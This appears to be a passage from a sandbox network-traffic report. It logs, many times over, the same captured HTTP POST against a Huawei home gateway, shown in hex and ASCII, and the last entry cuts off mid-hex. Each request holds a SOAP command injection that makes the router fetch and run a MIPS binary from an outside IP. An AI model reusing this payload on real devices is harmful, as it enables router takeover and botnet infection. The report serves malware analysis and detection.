Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 